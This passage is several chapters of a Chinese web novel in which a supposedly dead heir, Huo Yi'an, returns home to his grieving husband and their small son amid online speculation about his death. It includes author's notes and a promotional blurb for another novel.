就在万众悲戚的关头,某个炫富炫成网红的富二代发出聚会合照。 照片中心正是举杯欢庆笑得异常夸张的爱德华·珀西,配文意思相当明确,爱德华活得好好的呢。 虽然民众们都惋惜金发死者并非爱德华这个垃圾,但同时也庆幸亚裔死者不是郁明殊。 没曾想点开评论区就发现,已经有人先一步向博主询问那位同样姓珀西的金发死者的身份,并确认郁明殊的人身安全。 却得到了相当糟糕的回复——【他叫伊恩·珀西,小美人的现任丈夫[蜡烛]】 同一时间,一辆黑色轿车秘密驶入庄园。 作者有话要说: 好命的霍总即将上演老婆崽子热炕头[撒花] 第85章 这会距离收到霍懿安死讯不足一小时,庄园上下陷入一片混乱。 精神遭受毁灭性打击,让本就体弱多病的霍云轻一下就垮了,而后,不久前经历过开腹手术的埃德蒙也无力支撑。 作为一个不足三岁的小幼崽,西奥多本不应直接获知这样的噩耗,但爷爷奶奶表现得太极端,爸爸也像失了魂一样。 从没想过爹地会死的西奥多难以接受,便只能紧紧扒在爸爸怀里撕心裂肺哭嚎询问:“爹地没有死!对不对?拔拔爹地没有死!” 西奥多痛彻心扉的哭声,成功将郁明殊唤“醒”。 “对……”他紧紧抱住崽,湿红恍惚的眸子里突然生出一份执拗,一开口声音却还是抖的,“爹地、没有,他、不会死的……不会的……” 这么短的时间肯定没办法验尸,没有验尸,怎么能确认死亡的金发男子就是霍懿安? 但凡理智尚存,郁明殊都该想到埃德蒙带回的消息该是多么准确,但这时候郁明殊负责理智思考的大脑已经全面停摆。 此刻的他,只相信他想相信的。 郁明殊捧起崽湿漉漉的小脸蛋,眼神迷离,声音沙哑:“嘟嘟梦里也没看到爹地死亡对不对?” 崽子一边哭一边回忆:“宝呜呜宝看到…只看到红色大卡车撞上,但车车碎……” 虽然梦中无法确定爹地死讯,但满地残骸仍旧让崽无法说出违心之言。 可“但”刚出口,就被郁明殊猛地抱住,整张小脸都被按进胸膛,沉重又虚弱的心跳声代替了后续转折。 郁明殊像是放松很多般点头说道:“对…你在梦里也没看到,就说明爹地肯定没死,他不会有事的,他答应我会小心的,他那么聪明……” 郁明殊说了一遍又一遍,一次次重复那些霍懿安不可能就这么死去的无力佐证,模样实在太过异常,西奥多再次抬头时发现不断笃定重复的爸爸,早已泪流满面,只是神色与泪痕分离。 西奥多不是第一次见到爸爸的异常状况,但上一次只是支离破碎,这次却像是完全失常,哪怕他也无法接受爹地死亡的事实,还是被爸爸的反常模样吓了一跳。 “拔拔?” 郁明殊寻声低头,脸上浮现下意识的温柔浅笑,而随着他的动作,更多泪水从眼眶中倾泻:“嘟嘟别怕,爹地没事的,他很快就会回来的,他答应过我的。” 郁明殊一直觉得自己是个运气很糟糕的人,所以才会一出生就被亲生父母抛弃,又遇上一心算计的养父母,遇到的朋友要么是会因强权背弃他的,要么是对他别有用心……他早就认命了。 不抱任何希望。 可霍懿安却出现了,即便有着最初的欺骗误会,郁明殊仍旧认为霍懿安是他唯一的幸运。 * 霍懿安匆匆赶回庄园,嘴上骂骂咧咧。 倒不是因为差点被亲叔叔下黑手害死,而是因为按照他的最新计划,他本该在一小时前,死讯尚未满天飞时就牢牢将郁明殊抱进怀中。 而不是因该死的高空气流,延误了整整一个小时! 并且因遭遇极端意外,两人连手机都没能带回,情况如此特殊,他不得不切断了全部联系。 即便提前察觉不对,又成功反将一军,但一想到大概率无法完全恢复他和郁明殊之间多日积攒下的互动记录,以及被死讯吓到的家人……霍懿安现在的感觉糟透了。 张秘书没有他的大心脏,一直到现在还停留在死里逃生的余震中,但出于金牌秘书的条件反射,他还是会给出一些安慰:“这也没办法,飞机遭遇强气流必然要降速绕飞……” 这种基于事实的客观叙述,并不能平息霍懿安的燎原心火。 直到汽车刹停,甚至还未停稳,霍懿安就已经闪电般跳车。 简单交代和确认后,他便越过仍处于一脸震惊的管家,直奔爸崽所在位置。 霍懿安闪现前,西奥多一边因亲爹死亡痛心疾首,一边又对爸爸的异常担心不已,正坐在郁明殊怀里眼巴巴仰望着精神恍惚胡言乱语的爸爸。 郁明殊一开始只是强调霍懿安没有死,而后又对着空气羞涩剖白,说他其实喜欢霍懿安的吻,才会舍不得拒绝哪怕一次…… 西奥多已经顾不上俩爹曾背着他多次啃嘴嘴的事实,湿漉漉的桃花眼溢满担忧。 以往只要崽在,只要抱着崽,郁明殊就会比任何时候都要坚韧稳定,但此刻即便西奥多颤抖着小奶音一声声呼唤,他也像听不到一般继续低声絮语。 西奥多担心急了,一双白嫩小手紧攥在爸爸的胸口处。 就在这时候,郁明殊的视线突然移向远处,似梦似幻笑着轻唤:“……懿安你回来了?” 崽子吓得浑身一僵:拔拔终于疯了吗!? 紧接着,一阵强风袭来,崽子来不及回头就吧唧一下被另个厚实的胸膛紧紧压住,甚至因相拥过于用力直接将崽挤瘪。 “嗷——!” 虽然霍懿安捧起郁明殊满是泪痕的脸就啃了起来,但感受到怀中挣扎的小肉球,他还是适当松了松力道,让崽得以喘息,并艰难从俩爹紧拥的缝隙中钻了出来。 等崽看清火热拥吻的俩爹,一双湿漉漉的桃花眼几乎要瞪了出来。 “爹地!!!真的没死!!!!”话音未落,崽子就跟个弹簧粘糕似的扑了过来。 “爹地怎么才回来嘟嘟吓死了呜呜呜嘟嘟也要亲亲!!!!” 虽然崽子没找茬阻止两人亲嘴,但呲哇乱叫的同时毛茸茸的小脑袋像个电钻似的往俩人身上挤,四肢还像溺水挣扎般到处乱踢乱打,霍懿安很想视而不见继续捧着人猛亲,奈何很快就挨了亲儿子的两记乱拳,成功唤醒了他的父爱系统。 霍懿安将激动不已的崽子一并揽入怀中:“……抱歉,爹地回来晚了。” 话音未落,怀中爸崽的眼泪再度决堤。 实际上之前霍懿安并没有完全忽略儿子,西奥多说的每一句话他都听到了,只是舍不得停下来。 此刻对上泪流不止的可怜爸崽,霍懿安心痛之余也知道现在说什么都没有转移话题来得有效,所以他难得温情脉脉问向崽子:“为什么嘟嘟刚刚的中文发音,每一个字都那么清晰标准?” 其实这不是崽第一次忘记伪装,只不过太多意外发生,没人注意到小家伙的发音变化。 除了霍懿安。 经霍懿安一针见血提醒,郁明殊也回忆起来。 聚焦过来的四道视线,成功让崽子的哭声戛然而止。 尤其是对上爸爸不解探究的眼神,西奥多上半张脸仍处于眼泪汪汪的爱爹模式,下半张的小嘴已经呲出一口锋利小白牙。 心碎哽咽穿插着小兽低吼,最后崽还是一边再次扑进俩爹怀中,一边夹着软甜小奶音嚎着:“爹地坏洗啦!” 作者有话要说: 看破不说破(嘟嘟跺脚! 挑战失败,还是隔日更[小丑] ◆推本超好玩的完结养崽文~《穿成豪门后爸我哈哈哈哈哈哈哈哈》文在专栏~[让我康康][让我康康][让我康康] 一觉醒来,奚翎穿成书中已婚有崽的恶毒炮灰。 豪门老公是他挟恩图报强扭来的,结婚两年从未归家,综艺致电才发现早被拉黑,令他颜面扫地备受嘲讽。 豪门公婆看不上他,偌大的庄园有且仅有一个身份不明的三岁继子。 空壳婚姻与他曾经的炫耀大相径庭,令本就全网黑的事业雪上加霜,致使他越发阴毒变态对继子百般折磨,最终将其扭曲成阴鸷反派,长大后第一个刀了他…… 啥啥啥??? 奚翎脑中只剩“顶级庄园随便住,无限黑卡任他刷,提款机老公不回家……” ——梦都不敢梦这么爽的好吗!!! * 原身企图靠娃综洗白,结果还没开拍就翻车个彻底,所有人嘲讽全开就等着看他好戏。 奚翎忙着在钱堆里打滚,直接选择退出。 黑心制作人扬言要他赔十倍违约金,奚翎双眼瞪大:“十倍???” “——瞧不起谁呢!我提、老公差这点小钱?!“ 后来他还是带崽参加了。 不过和其他组吃苦受罪不同,奚翎被特许带崽享受人生。 倒不是付不起违约金,而是奚翎需要娃综的直播帮他作证,他可不是之前那个虐待反派小崽崽的人渣。 毕竟老公死后他还要靠便宜儿子,提款机要从娃娃抓起! * 霍星眠是只天才崽崽,名义上的父亲对他不闻不问,朝夕相处的后爸对他百般虐待。 哪怕天纵奇才也受限于三岁的小身体,只能默默隐忍蛰伏。 突然有一天,恶毒后爸性情大变…… 以往只许厨师做他讨厌的食物,美其名曰均衡饮食实为苛待。 这次对方却先一步拍桌:“香菜胡萝卜青椒滚出拆那!(╯‵□′)╯︵┻━┻” 崽:“?” 曾经天天逼他熬夜学习动辄罚站,不许他触碰电子产品防止他有机会告状。 这次却主动把手机塞给他,里面塞的所谓睡前故事自动播放——“注意看,这个崽崽叫小帅,三岁半就是年入千万的顶级黑客……” 崽:“……” 偶遇豪门老公霍斯祎,奚翎为保持完美现状故作亲昵膈应人:“阿伟,我想死你了!” 崽瞳孔地震——有没有可能,他父亲的名字其实念yī?! 霍斯祎yī冷漠的视线顿住,很好,为引他注意还真是不择手段。 * 秘书:“霍总,夫人已经带小少爷离家出走三分钟了。” 男人:“他肯认错了吗?” 秘书:“没有,夫人给小少爷连氪十个纸片继父,边氪边喊阿伟死了吸溜吸溜……” 第86章 原本这场特殊车祸,就因牵扯珀西家而引起全网讨论。 随着富二代网红放出爱德华宴会合照,并给出令所有人都意想不到的回复,事件热度进一步升级。 【woc!什么意思?死的是伊恩·珀西?这个伊恩珀西是谁啊?小美人指的是郁明殊吗??所以跟郁明殊在一起的不是爱德华而是这个叫伊恩的???】 【不能吧,之前爱德华不是承认了吗?】 【承认个锤子!之前传的时候连个聊天记录都没爆出来,再就是狗日的爱德华被问的时候没直接否认,还意味不明地夸了郁明殊一句,结果就被所有人当成默认了!】 【对对对我记得很清楚,没直接承认,但不知道为啥网上就像被实锤了一样,一群听风就是雨的神经病。爱德华夸郁明殊非常漂亮那不就是陈述客观事实?只能说明他不瞎而已!】 【我靠,之前传成那样,郁明殊连带着嘟嘟都被骂上天了,结果根本是假的??】 【我的ai小秘书呢!我现在就想知道这个“伊恩·珀西”是谁!华裔死者到底是不是郁明殊!】 …… 先是常规按人名索引失败,神通广大的网友们又尽可能翻出珀西家族以及和珀西家有关的全部人脉网络,试图挖出这位神秘的“伊恩·珀西”的具体情况。 归功于此前爱德华的藏品丑闻,珀西家族已不再神秘,但即便是借梯上楼事半功倍,吃瓜群众们查了一大圈却发现,这位“伊恩·珀西”仿佛根本不存在。 不然怎么会什么都查不到,甚至连一个在网上分享生活的相关亲友都没有? 之前薛景灿打造低调人设的时候,各种活动和日常社交也是会在网上留下许多痕迹的,这个“伊恩·珀西”出生在这种顶级豪门,总不可能0露面0社交0朋友吧? 实际上完全是因为霍懿安主体性过强,加之霍云轻夫妻从未因儿子天生神经异常而过度干预,反而从霍懿安很小的时候起就尽可能尊重、配合儿子的全部选择。 霍云轻生子时已退圈多年,架不住身上光环实在太多,哪怕彻底告别文娱圈,和丈夫常年定居国外,仍旧有着很高的关注度。 加上她也不太在乎这些,每次在机场被蹲点偷拍非但不生气,还会风情万种地笑着挥手。 每每这时候,霍云轻身边总是会站着他随行挂件般形影不离的金发丈夫。 而真正的“挂件”,其实是金发男人胸口绑着的金发婴孩。 之所以说是绑着,就是因为类人期的小霍懿安太过失控,每次都要使用两套特制的婴儿背带牢牢固定在埃德蒙胸口。 那个时候只要捆结实了,并且让他面朝埃德蒙胸口,类人期的小霍懿安就会自动进入安静待机状态。 所以在两岁前,狗仔记者都没能拍到过他的正脸,所有人都认为女神霍云轻的混血儿子肯定是个漂亮的乖宝宝。 等小霍懿安的体重超出特制背带的承受范围,埃德蒙再也没法将儿子绑成小木乃伊,不得不改为“牵”着孩子走路。 记者们却仍旧未能拍到他的正脸,只因每次落地机场都是一场大型放风筝活动。 ——小小年纪就很大一只,刚学会走路就满地疯跑的小霍懿安,以及不敢放手,只能被迫弯腰弓背追着儿子踉跄狂奔的埃德蒙。 小霍懿安跑的速度太快,当时的拍照设备也有限,拍到的照片十张有九张半都是糊的,等三岁的小霍懿安被人类文明度化,不再放爹风筝时,他也有了主体意识。 连个后脑勺都不想被狗仔拍到,霍云轻夫妻俩自然也就配合儿子,多方提醒后,不仅没再敢有狗仔偷拍,甚至连曾经的旧照存底都被删了个七七八八。 那时候纸媒还很活跃,印刷售出了许多一家三口合照——美丽优雅的女人、英俊狼狈的丈夫和两人看不出人形满场乱窜的孩子。 但一家三口实在消失太久,热爱网上冲浪的吃瓜群众换了一批又一批。 之前全网大肆讨伐爱德华的时候,普罗大众早已忘记曾经的顶级名媛霍云轻的丈夫,也是珀西家族的一员,只有传言说现任家主的妻子是华国人。 一直到了这次,无论如何也找不到“伊恩·珀西”,吃瓜群众才在某位参加过霍老爷子寿宴的富二代提醒下,将两件事串到了一起——霍云轻随母姓的独子叫霍懿安。 懿安和伊恩,显然就是同一英文名的不同音译,只不过因姓氏不同,且前者还是随母姓取了看似完全中式且符合霍家新一代字辈的名字,让人忽略了两者其实就是一回事。 也不怪网友想不到一块去,毕竟霍云轻嫁给埃德蒙的时候,埃德蒙虽然出身顶级财富世家,却是家族中的边缘人物。 大家只记得他是个空有姓氏的金发碧眼小白脸,而后夫妻俩连带孩子就消失在镁光灯下。 至于对霍云轻一家有所了解的同一圈层的人,更不可能明知这家人不喜曝光还继续向外散播。 很快,“霍懿安”这三个字也登上了热搜。 霍懿安的个人履历一经曝光,再次引发全网震惊和哀叹。 时隔多年,一家三口的街拍报纸也被神通广大的网友翻了出来,虽然照片里的孩子模糊得不能更模糊,但夫妻俩的出色外貌却被清晰呈现出来。 不论是否知道霍云轻曾经的光环名气,此刻的网友都能推测得出霍懿安不仅是不世出的顶级天才,大概率还有着继承名模母亲和“小白脸”金发父亲的出色外貌。 【天啊,这也太可惜了!!!】 【补药啊!!!千万不要是霍懿安啊!!!!】 【我简直难以想象霍懿安和郁明殊站一块得配到什么程度!】 【这就是天妒英才吗……太可惜了……】 【原来我磕的金玉良缘竟然是超绝顶配cp?天啊为什么现在才让我知道!!!】 【智商满点外貌过人,母是霍家千金,父是珀西家主,老婆是郁明殊,两人还有个嘟嘟小宝贝……这真是引老天爷都嫉妒的配置啊……】 【希望车上的华裔死者不是小殊,也希望获知爱人死讯的小殊能挺下去[崩溃大哭,jpg]】 【呜呜呜呜不要啊!要索命就索我领导的命啊,放过我cp!!!!】 【不儿,之前还为珀西家族死人拍手叫好,结果发现死的是霍懿安就哭丧起来了?】 【就三观跟着五官跑呗,甚至五官也是脑补出来的[白眼]】 【点了,真大帅哥能忍住藏脸?除非不是正常男人。八成当年就是因为孩子太丑才不让媒体拍脸,后面更是完全不让泄露了。】 【有一说一混血好看都是幸存者效应,混的乱七八糟的多的是。】 【霍懿安刚去世,不能积点口德?】 【笑死,又不是我撞的,凭什么不能说?再者说了珀西家族都是爱德华之流,压根没觉得有什么可惜的。】 …… 就在全网因车祸死者是霍懿安再次引发热议之际,B国方面又传出举世震惊的最新消息——B国知名前沿科学研究产业园惊现近百吨冷冻人体残骸。 * 霍懿安的回归,重新为庄园上下注入生机。 霍云轻和埃德蒙虽然惊喜极了,但到底一个天生体弱一个还在术后恢复,经不起如此大起大伏的情绪波动,狂喜了没一阵就齐齐眩晕起来。 霍懿安见状就迅速带人离开。 当然,让父母安静休息只是顺带的,更主要的是郁明殊难得表现得如此黏人,眼神几乎无法从他身上离开,霍懿安这会儿更想和他独处。 是以往回走的路上,霍懿安就对着怀里眼睛瞪得跟铜铃一样的崽子,一本正经问道:“嘟嘟也困了吧?” 崽O.O:“米有耶~” 霍懿安:“不,你该困了。” 崽皱眉:“宝米有。” 霍懿安:“不然怎么会又变得口齿不清?” 崽横起刀子眼,龇出奶凶小米牙,但想到发音问题他确实不占理,相较于跟亲爹继续争论这事,他还是选择聪明地绕开不利问题。 崽子看向一旁的爸爸,试图发射爸崽间的小信号。 抬起小脑袋才发现宝贝爸爸的注意力压根没在他身上,崽子只好直接扭身扑进一旁的爸爸怀里:“爹地欺负嘟嘟!拔拔抱~” 郁明殊抱住崽子,全部的注意力却还是集中在霍懿安身上:“你真的没受伤?” 怀中的甜心小棉裤小脸瞬间垮掉,但拔高的小奶音还是夹得很紧:“拔比!~” 郁明殊立即垂下眸子,仿佛根本没注意到此前父崽间的幼稚争执:“嘟嘟怎么了?” 没想到自己会突然被爹地夺取榜一宝座,但他也知道,从得知爹地死讯一直到现在,爸爸的状态都很不对劲。 心塞了一小下,世界第一好宝宝西奥嘟小朋友还是选择原谅:“没习么~只系……” 然而软绵绵的小奶娇还没撒出口,就被一旁的男人截胡了,霍懿安突然掩唇重重一咳。 郁明殊的注意力瞬间回到霍懿安身上:“怎么了?哪里不舒服?” 霍懿安还是第一次将郁明殊的注意力抢回来,不过因习惯挂着一张冰山脸,此刻大掌又掩住了下意识扬起的唇角,男人的暗爽并未被爸崽察觉。 感受着崽子气呼呼瞪视和郁明殊心疼又关心的目光,霍懿安突然福至心灵:“可能有一点……胸腔积血。” 话音一出,崽子横起的刀子眼瞬间耷拉成惨兮兮小狗眼,郁明殊更是猝不及防飙出两道泪来。 “爹地!” “懿安!” 第一次如此直观感受到爸崽强烈心疼在意的霍懿安:……!!! 作者有话要说: 霍总幸福鼠咯[哈哈大笑] 第87章 霍懿安虽然从父母外祖家获得了海量亲情,但他的大脑对此只能从理智角度分析接受并为之定义。 他当然知道亲人们对他来说很重要,也知道自己接受过无数爱意,但在这一刻,也的确是感知到从未有过的暖意漫过心口。 霍懿安第一次如此清晰地感受到,什么叫爱与幸福。 原本还觉得他不该为争宠博取同情,放大本不存在的病症——他的确在穿着防弹衣的情况下遭遇袭击。 正常情况,即便防弹衣能够防住对应级别的子弹,但子弹转化的强冲击力仍会通过防弹衣传递到身体上。 严重一些甚至会导致骨折,引发轻度胸腔积血也十分正常。 但事实上,因他躲闪及时子弹并未命中,霍懿安幸免于难,身上连个淤青挫伤都没留下,这份谎言乍一听还算合理,但绝对经不起细致推敲。 正因如此,霍懿安说出时才会有一瞬的卡顿。 哪曾想爸崽二人关心则乱,到最后都没发现霍懿安这种表皮毫无痕迹,却能隔着皮肤震出内伤的情况有什么不对劲。 西奥多一秒乖睡,郁明殊无微不至,甚至主动提出帮他宽衣解带擦洗身体。 霍懿安没忘郁明殊曾被他那碍眼的利刃恶心吐过。 虽然他无比渴望做点什么,哪怕只是在毫无阻碍下拥抱也好,但一顿饱和顿顿饱还是能分得清。 霍懿安不仅拒绝了郁明殊帮忙洗澡的提议,甚至咬牙放弃了和爸崽同床而眠这一唾手可得的机会。 只因这次被迫长时间分隔两地,让他的利刃每晚都会产生更多下流的“想法”。 霍懿安早已决定,不论郁明殊未来是否能够对它脱敏,这都不影响他们之间的爱情,有限的拥抱和接吻已经足以令他满足。 正因如此,他更不能在协议婚姻变成正式婚姻前,露出如此巨大的破绽。万一吓到郁明殊,他那无用又下流的几把显然是无法赔偿这份损失的。 虽是这么决定的,但睡前分别还是让霍懿安倍感煎熬。 不仅是因为要从怀中,剥离出格外柔软黏人的郁明殊太过煎熬,还因一日胜过一日的强烈反应。 原本只需下肢稍微向后退,就能避免拥抱时硌到对方,现在却需要越发接近汤姆猫招牌撅臀姿势才能勉强遮掩。 霍懿安一晚没睡,虽然是还有事情需要他远程处理,但即便无事可做,霍懿安只要想到隔壁还睡着一个极为粘他的郁明殊也很难入眠。 躁动一夜,总算让霍懿安想到了解决办法。 他给自己订购了裆部护具,还支付了天价加急配送费。 虽然这类护具存在都是作为防御盾牌的,就没有霍懿安这种是为了格挡自身利刃的,但只要绑的够紧,完全可以达到他的使用目的。 心中大石落地,霍懿安想着再等几个小时就能拿到护具,他再也不需要担心亲近过程中产生问题,反倒在兴奋期待中成功入眠。 霍懿安五点左右睡着的,七点不到就被涌入房间的医务人员吵醒。 他睡眠较轻,听觉又十分敏锐,唰的睁眼就对上霍云轻、埃德蒙、郁明殊以及郁明殊怀中崽心疼又担忧的目光。 不等询问,霍云轻已经一个箭步飞扑上前:“安安!胸口疼到什么程度,快跟妈妈说!” 紧随其后是埃德蒙心疼又责备的声音:“怎么能中枪咳血这么大的事都没说!伤在哪里了?!” 霍懿安恍惚一瞬:“……?” 先不说母亲多少年未叫安安这个咯噔小名,怎么就中枪咯血了? 没等他开口询问,崽子已经抢先给出答案:“爹地这里被biubiu啦!” 霍懿安:“我没事……” 霍云轻见儿子脸色不对,还将准备给他检查的医生推开,拧眉劝道:“嘟嘟都跟我们说了,什么没事!被枪打中还“呕咳呕咳”的吐血,绝对不能耽误!” 一旁的小崽还一本正经点头,吐血和咳血应该差别不大吧?虽然他最开始说的是“胸胸有血,爹地咳咳”…… 郁明殊虽然也很担心,但还是觉得霍懿安的病情经过几人间的传话目前“进展过快”,不过殊途同归,还是先让医生具体诊断一下大家才好放心。 虽然郁明殊一直告诫自己不要在将过多的感情,投入到自身和嘟嘟以外的地方,未来他不想依靠任何人,哪怕在情感上,他也只想相信永远不会背叛的自己。 但事实却是他骗了自己,他根本无法接受霍懿安从生命中消失。 即便人平安归来,他这一晚上同样没怎么睡熟,几乎一直处于半清醒的状态,一个接着一个做着噩梦,每一个都是霍懿安出现各种意外……有时候甚至分不清到底哪一边才是梦境。 以至于郁明殊的眼底仍旧是湿润的,眼尾泛着一点轻微红肿。 霍懿安原本不想配合过于小题大做的父母,但见郁明殊红着眼睛可怜巴巴看向自己,心揪了一下,一时间只剩下想将对方抱进怀中的渴求。 一个错神的工夫,人就被夫妻俩合力压制。 霍云轻埃德蒙一人压住一侧的臂膀,从根源上断绝霍懿安讳疾忌医。 不过不使用仪器能做的检查十分有限,而常年供职于庄园的医生也不是乱说话的类型,被霍懿安冷冷瞥了一眼,就自动改口道: “胸口无淤痕说明子弹作用于体表的力道应该不大,积血情况也会比较轻微……” 即便如此,久病成医的霍云轻,以及照顾妻子多年对医学领域多了几分了解的埃德蒙,还是觉得有必要拍片子确认。 霍懿安当然不会配合:“查过了,就是轻度的积血,等自愈就好。” 虽然很想再睡一阵,但他也担心父母会趁他昏睡将他运去拍片,他小时候因频繁检查心生厌烦的时候,两人就这么做过,他只记得那天的牛奶特别甜,再醒来就躺在扫描床上了。 而且现在他更想抱着郁明殊一起睡。 霍懿安不等父母进一步劝说,直接翻下床:“好了,你们先出去吧,我还有事要处理。” 话音未落,就一把拉过郁明殊。 两人直奔浴室方向,当然,身后少不了哒哒哒跟上的三头身小崽崽。 很显然,爹地的“你们先出去”并不包含他这个小嘟嘟,在崽子心里自动将其归纳为接下来就是家庭时间啦! 虽然崽子因为哭太累,昨晚睡得异常香甜,但心里还是很担心老父亲的。 这会儿得知爹地病情不重,都不需要治疗就能好,崽子的小心脏也重新放回小肚皮里,所以一开始蹦跶得非常欢快。 然而他很快发现,爹地带爸爸走的速度飞快,压根没考虑他这只还没有长出大长腿的宝宝,崽子将一双小短腿倒腾出残影,却依旧是越追越远。 崽子不干了,直接仰起小脑袋“无泪落声”;“哇呜呜呜!!!爹地拔拔不要宝辣!!!!” 一声奶音咆哮,瞬间将处于恍惚状态的郁明殊喊清醒了:“等等嘟……” 霍懿安虽然一听就知道小家伙又在假哭,但到底是没舍得就这么将崽留在浴室门外。 崽子心满意足被爸爸抱进浴室,坐在宽敞的盥洗台上,晃着一双小脚脚,呲着小白牙一会儿看看爸爸,一会儿看看爹地。 而就在崽子在俩爹脸上左右逡巡之际,霍懿安的目光始终聚焦在郁明殊脸上。 成功把郁明殊的脸盯红了:“……你真没事吗?” “真没事。”霍懿安俯下头,亲了亲他的唇角。 崽子十分警惕,但因为霍懿安亲的是唇角,他的嘴嘴有毒不可亲亲理论,不能顺利落实。 崽有点不爽,轻松卡上bug的霍懿安却有点得意,父崽莫名对视一瞬。 新出厂的小脑花灵活一转:“宝也要亲亲!” 既然嘴角不算嘴嘴爹地可以亲亲,那嘟嘟也可以! 崽子瞬间化不爽为狂喜,一双湛蓝桃花眼亮成小灯泡。 然而不爽不会消失,只会转移。 霍懿安唇侧的弧度一秒消失,伸手捏住崽子嘟起的嘴:“你、已、经、三、岁、了。” 崽被捏成小鸭子嘴也不生气,嗡声嗡气纠正:“漏漏漏,宝才不到三岁!” “不到三岁也不能亲嘴角,这个位置只有伴侣可以亲,你也只能亲你未来的伴侣。” 听得崽小眉头一皱,扭头甩开霍懿安捏嘴的大手,不过思绪一转崽子很快想起:“……可爹地和拔拔只是协议伴侣耶。” 因为西奥多聪明敏锐,郁明殊和崽子之间一向是平等沟通,所以崽知道自己一开始是领养的,也知道一开始爸爸爹地就是为了领养他才临时假结婚。 对于俩爹协议结婚两年领养他的这件事上,崽子当初有多不解,这会儿就有多振奋,尤其是看到亲爹脸瞬间黑掉。 崽抿起嘴角,狡黠地眨了眨水润湛蓝的桃花眼:“协议伴侣也可以亲嘴角吗?” 过于兴奋让崽都忘记夹起嗓子装可爱了,小奶音是从未有过的字正腔圆。 作者有话要说: 聪明嘟嘟,没有困难![奶茶] 第88章 崽子一句话,直接戳上亲爹肺管子,霍懿安这下是真的有点“胸腔积血”了。 奈何崽子非但没说错,还顶着一张酷似Q版郁明殊的漂亮小脸蛋,就算真的作恶捣乱,霍懿安只要看到这张漂亮小脸蛋上的灵动表情,就一点都气不起来。 他也不是什么专制型强权老父亲,黑脸单纯是因为被卡上bug无话可说,再想到婚前协议这个心头大患,实在是无言以对。 西奥多见状,将小胸脯挺得更加高耸,戴个鸡冠帽都可以cos大公鸡了,还故意嘟起小嘴火上浇油:“看~来~不~阔~以~喔~” 霍懿安脸色黑了一层又一层:“………” 一直处于隔岸观火状态的郁明殊,还是没绷住轻笑出声,然后对着父崽俩的额头挨个落下一吻。 “好了,我们一起去陪叔叔阿姨吃早饭吧,他们昨晚也没睡好,一起吃饭看到你一切正常也能多安心些。” 一记轻吻,成功把父崽俩的注意力都吸引走了。 爱爸崽立即听话点头,伸出一双小胳膊,让爸爸将他抱回地上,他再牵着爸爸的手一起走。 霍懿安则是一副目眩神迷,不自觉勾起唇角半走半飘地跟在爸崽身后。 恍惚半晌猛然回神,面对崽子提出“协议婚姻不该吻唇角”的提问,郁明殊给出的是安抚一吻,这是什么意思? 虽然霍懿安一直吻得无所顾忌,但拿到郁明殊的“许可证”还是让他喜出望外。 不过父母崽子都在,每一个看向自己的目光仿佛都在确认自己是不是真的不会死亡,看起来都被之前的车祸吓坏了。 霍懿安从不是个急色的人,虽然他越发清楚自己对郁明殊时刻存在着下流渴望,但还是分得清轻重缓急。 为避免自己下半身太过兴奋,也不想几人的注意力始终绕不开他的“胸腔积血”,霍懿安打算将左光石见面一事重新确定一下。 如果不是薛景灿那边突然牵扯出太多,这场会面早该进行了。 左光石绝非善类,夫夫俩都很清楚这一点,郁明殊即便不抱希望只想获知生母线索,但在霍懿安看来他一向敏感重情,很难不受其影响。 所以一直想早做早了速战速决,然后彻底将左光石从郁明殊的人生里剔除。 虽然薛景灿落网后,表哥那边查到近几次关于郁明殊的负面爆料都是薛景灿所为,对方还一直在搜寻爸崽二人的下落,他从B国带回的心腹助手还交代,薛景灿就是想通过爆料逼郁明殊现身,再杀之后快。 表面看起来像是过分变态因爱生恨,但顺着这条线调查后发现,薛景灿助理戴罪立功交代的内容颇有水分。 要么是有些要事薛景灿连他也没透露,要么就是助理声东击西围魏救赵,想将薛景灿的极端行径框在对郁明殊的变态爱恨中,殊不知关于人体走私的跨国警务合作早已达成。 薛景灿回国后想要处理掉的可不止郁明殊一个人,纵观全局霍懿安有所猜想,不过表哥办事一向缓慢,要不是他这边实在脱不开手,也不会将事情委托给对方,但现在他得死上一阵也不便插手。 霍懿安心里diss树懒表哥,正准备开口用左光石转移话题,手机就弹出了一条加密信息。 视线一扫,霍懿安的脸色很快沉了下去。 且不同于被崽卡上bug堵得哑口无言时的无语黑脸,男人此刻的神色过分凝重。 在场的三大一小已然成了惊弓之鸟,前一刻还笑着聊天,见霍懿安这边表情不对,一个个都将心脏提到嗓子眼。 “怎么了?”埃德蒙眉头一皱。 霍云轻紧随其后:“这回发生什么都不要瞒着我们了……” 郁明殊同样一脸担忧地望过来,身旁的崽子嘴里塞的满满当当像只小河豚,但也立即拧着眉头跟爸爸做出同款表情。 事关郁明殊的离奇身世,霍懿安还是想先单独告知对方,然后再由郁明殊本人决定后续如何处理。 “不是你们以为的事,没有什么危险。”霍懿安以为自己这么一说,这件事就会被暂时带过,便很自然地提起,“左光石那边……” 抬眸对上四双目光如炬的凝重眸子,两黑两蓝,每一个都要将他洞穿一样。 很显然,经历假死车祸和中弹疑云,霍懿安在家里的信誉值不仅一键清零,现在看起来已经降至负无穷了。 霍懿安:“真的没事!” 三大一小齐齐放下餐具,相当整齐划一开启话疗模式,崽子甚至要把咀嚼到一半的食物吐出来,只为立即讨伐老父亲。 霍懿安也算难得和崽子心有灵犀,崽一张嘴他就想到了恶心后续,忍着呕意抬手打断:“行了!都别说了,我说还不行吗?” 三大一小齐齐闭嘴,继续切换回严肃盯人模式。 霍懿安:“………” “首先,真没有任何危险,也不是关于我的事情……其实是和小殊有关系,我想私下告诉他。” 当事人不明所以:“和我有关系?左光石?” 霍懿安握住郁明殊的手:“吃完饭我再单独告诉你好吗?” 崽子倒是很配合,毕竟在崽眼中,爹地的“单独”肯定是包括他这个宝贝小崽崽的。 而没法跟进的霍云轻和埃德蒙立即质疑,夫妻俩齐齐将眉心拧出一道清晰沟壑—— “真的假的?” “你该不会是拿小殊当借口吧?” 郁明殊突然问道:“……是关于我母亲的吗?” 一问出口,他几乎就从霍懿安的神色中得到准确答复。 虽然霍云轻夫妻立即恢复了往日的边界感,没再继续咄咄逼问,但郁明殊还是说道:“你直接说吧,阿姨和叔叔没什么不能听的。” “小殊这是你的个人隐私,我和你叔叔还是……”霍云轻已经后悔追问了,一边暗怪儿子不知道委婉提醒,一边歉意解释说着就站起身要走。 郁明殊轻笑了一下:“真的没关系,对我来说阿姨和叔叔比亲生父母更像家人。” 霍云轻听得心头一软,埃德蒙更是直接红了眼眶。 霍云轻立即表示:“小殊你是个特别好的孩子,在我和你叔叔心里,你也是和懿安嘟嘟一样重要的存在……” 